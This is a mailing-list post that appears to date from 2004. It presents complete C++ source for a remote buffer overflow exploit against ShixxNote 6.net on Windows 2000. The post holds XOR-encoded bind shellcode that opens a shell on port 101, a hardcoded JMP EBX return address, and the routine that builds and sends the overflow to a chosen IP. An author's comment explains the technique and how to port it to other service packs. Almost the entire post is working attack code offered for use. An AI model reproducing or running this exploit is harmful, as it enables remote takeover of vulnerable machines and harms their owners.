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From: class101 at phreaker.net (class 101)
Subject: Re: Windows 2000 Remote Buffer Overflow by class101

to correct you this is for ShixxNote 6.net, not so big app than Win2K, do not send me so many credits ^^

/*

ShixxNote 6.net buffer overflow exploit v0.1

Public exploit overflows only Win2K systems, else crashs.

Exploit code by class101 [at] DFind.kd-team.com 

Bind a shellcode to the port 101.

Thanx to Luigi Auriemma(aluigi@...ervista.org) for the bug discovery

Thanx to HDMoore and Metasploit.com for their kickass ASM work.

Why Win2k only?

After some days of debugging on it , I finally figured out how to exploit this 

hole, this public overflow method works only on Win2k, using the 

JMP EBX from comdlg32.dll from Win2k SP4 english.

Because on WinXP , the register EBX points to a NULL address, this is not exploitable

even if you update the JMP EBX, not exploitable VIA THIS WAY on XP I mean OK!.

How do I did then on Win2k?

I overwritte EIP with a JMP EBX, EBX is a perfect register because it points directly

to my buffer, but problem, it points 4 bytes only before EIP, quite short...

But enough to say him to jump ~80 bytes higher.

Now i have enough space to adjust my shellcode to ESI and to finally jump to it...

That's why on WinXP (and maybe others , havent tested) this doesnt works because EBX isnt 

available.

Not happy? code yours or get a pvt version ;p

How do I update to Win2k SP1 Dutch for example ?

Grab a JMP EBX address in comdlg32.dll from this OS and update the code.

Take a look at www.KD-Team.com, really nice peaces of code to find. Good job DiabloHorn ;)

Take a look at www.GovernmentSecurity.org, good public place if you ignore all lame threads ^^ and all 

retarded, without to name them to not add credits to their stupidity....

Greets cp, and sorry jester ....

*/

#include "winsock2.h"

#include "fstream.h"

#pragma comment(lib, "ws2_32")

//BIND shellcode port 101, XORed 0x88, thanx HDMoore. 

char scode[] =

"\xEB"

"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"

"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"

"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"

"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"

"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"

"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"

"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"

"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"

"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"

"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"

"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"

"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"

"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"

"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"

"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"

"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"

"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"

"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"

"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"

"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"

"\x58\x68\x61\x63\x6B\x90";

/*

//Execute regedit.exe, XORed 0x88, hardcoded Win2k SP4 English

char scode2[] = "\xEB"

"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"

"\xFF\xDD\x01\x6D\x09\x64\xC4\x88\x88\x88\xDB\x05\xF5\x3C\x4E\xCD\x7C\xFA\x4E\xCD"

"\x7D\xED\x4E\xCD\x7E\xEF\x4E\xCD\x7F\xED\x4E\xCD\x70\xEC\x4E\xCD\x71\xE1\x4E\xCD"

"\x72\xFC\x4E\xCD\x73\xA6\x4E\xCD\x74\xED\x4E\xCD\x75\xF0\x4E\xCD\x76\xED\x4E\xCD"

"\x77\x88\xE0\x8D\x88\x88\x88\x05\xCD\x7C\xD8\x30\xB7\xC8\xD0\xF4\x77\x58\xE0\x89"

"\x88\x88\x88\x30\xF5\x86\xD0\xF4\x77\x58\x68\x61\x63\x6B\x90";

*/

static char payload[5000];

char jmpebxw2k[]="\x79\x3c\xb6\x76"; //JMP EBX - comdlg32.dll - Win2k SP4 English

void usage(char* us);

WSADATA wsadata;

void ver();

int main(int argc,char *argv[])

{

ver();

if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}

if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}

int ip=htonl(inet_addr(argv[1])), sz, port, sizev, sizew, sizex, sizey, sizez, v, w, x, y, z;

if (argc==3){port=atoi(argv[2]);}

else port=2000;

SOCKET s;

struct fd_set mask;

struct timeval timeout; 

struct sockaddr_in server;

s=socket(AF_INET,SOCK_STREAM,0);

if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}

server.sin_family=AF_INET;

server.sin_addr.s_addr=htonl(ip);

server.sin_port=htons(port);

WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);

timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);

switch(select(s+1,NULL,&mask,NULL,&timeout))

{

case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}

case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}

default:

if(FD_ISSET(s,&mask))

{

cout<<"[+] connected, constructing the payload..."<<endl;

Sleep(1000);

sizev=5;

sizew=88;

sizey=800-sizeof(scode);

sizex=5;

sizez=20;

sz=sizev+sizew+sizex+sizez+sizeof(scode)+sizey;

memset(payload,0,sizeof(payload));

strcat(payload,"~~");

for (v=0;v<sizev;v++){strcat(payload,"\x61");}

strcat(payload,"\x66\x8b\xf3");

strcat(payload,"\x66\x83\xc6\x09");

strcat(payload,"\xff\xe6");

for (w=0;w<sizew;w++){strcat(payload,"\x61");}

strcat(payload,"\xeb");

strcat(payload,"\x9d\x61\x61");

strcat(payload,jmpebxw2k);

for (x=0;x<sizex;x++){strcat(payload,"\x90");} 

strcat(payload,scode);

for (y=0;y<sizey;y++){strcat(payload,"\x61");} 

for (z=0;z<sizez;z++){strcat(payload,"~");} 

if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}

cout<<"[+] size of payload: "<<sz<<endl; 

cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;

return 0;

}

}

closesocket(s);

WSACleanup();

return 0;

}



void usage(char* us) 

{ 

cout<<"USAGE: 101_shixx.exe Ip Port\n"<<endl;

cout<<"NOTE: "<<endl;

cout<<" The port 2000 is default if no port specified."<<endl;

cout<<" The exploit bind a shellcode to the port 101."<<endl;

cout<<" Public version - Win2k systems only"<<endl;

cout<<" Update the JMP address for another SP/Language"<<endl;

return;

} 

void ver()

{ 

cout<<endl;

cout<<" "<<endl;

cout<<" ===================================================[v0.1]===="<<endl;

cout<<" =======ShixxNote 6.net, Remote Buffer Overflow Exploit======="<<endl;

cout<<" =====coded by class101===========[DFind.kd-team.com 2004]===="<<endl;

cout<<" ============================================================="<<endl;

cout<<" "<<endl;

}

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